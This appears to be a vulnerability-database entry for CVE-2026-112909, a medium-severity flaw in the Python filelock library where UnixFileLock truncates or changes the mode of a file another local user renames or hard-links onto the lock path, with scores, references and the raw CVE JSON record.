  "summary": "filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path"
}

CVE-2026-112909 (GCVE-0-2026-112909)

Vulnerability from cvelistv5 – Published: 2026-10-20 14:16 – Updated: 2026-10-22 21:25

Title

filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

Summary

filelock is a platform-independent file lock for Python. Prior to 4.2.1, UnixFileLock can truncate a regular file renamed onto the lock path when another local user has actual rename permission, or hard-linked there under a permissive hard-link policy; when an explicit mode is requested, affected versions from 3.10.2 can also change that file's mode. This issue is fixed in version 4.2.1.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-22 21:24 UTC

CWE

CWE-706 - Use of Incorrectly-Resolved Name or Reference

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7926 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/tox-dev/filelock/security/advi…	x_refsource_CONFIRM
https://github.com/tox-dev/filelock/pull/835	x_refsource_MISC
https://github.com/tox-dev/filelock/commit/e1e825…	x_refsource_MISC
https://github.com/tox-dev/filelock/releases/tag/4.2.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
tox-dev	filelock	Affected: < 4.2.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-112909",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-22T21:24:59.918929Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-22T21:25:25.906Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "filelock",
          "vendor": "tox-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.2.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "filelock is a platform-independent file lock for Python. Prior to 4.2.1, UnixFileLock can truncate a regular file renamed onto the lock path when another local user has actual rename permission, or hard-linked there under a permissive hard-link policy; when an explicit mode is requested, affected versions from 3.10.2 can also change that file\u0027s mode. This issue is fixed in version 4.2.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-706",
              "description": "CWE-706: Use of Incorrectly-Resolved Name or Reference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T14:16:02.317Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"
        },
        {
          "name": "https://github.com/tox-dev/filelock/pull/835",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tox-dev/filelock/pull/835"
        },
        {
          "name": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"
        },
        {
          "name": "https://github.com/tox-dev/filelock/releases/tag/4.2.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
        }
      ],
      "source": {
        "advisory": "GHSA-69hj-f68j-2879",
        "discovery": "UNKNOWN"
      },
      "title": "filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-112909",
    "datePublished": "2026-10-20T14:16:02.317Z",
    "dateReserved": "2026-10-19T20:16:09.857Z",
    "dateUpdated": "2026-10-22T21:25:25.906Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-69HJ-F68J-2879

Severity

Scope and preconditions

Affected code

Introduced

Mechanism

Reproduction

Attack sequence

Evidence

Impact

Workarounds

Patched version

Credits

CVE-2026-112909 (GCVE-0-2026-112909)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour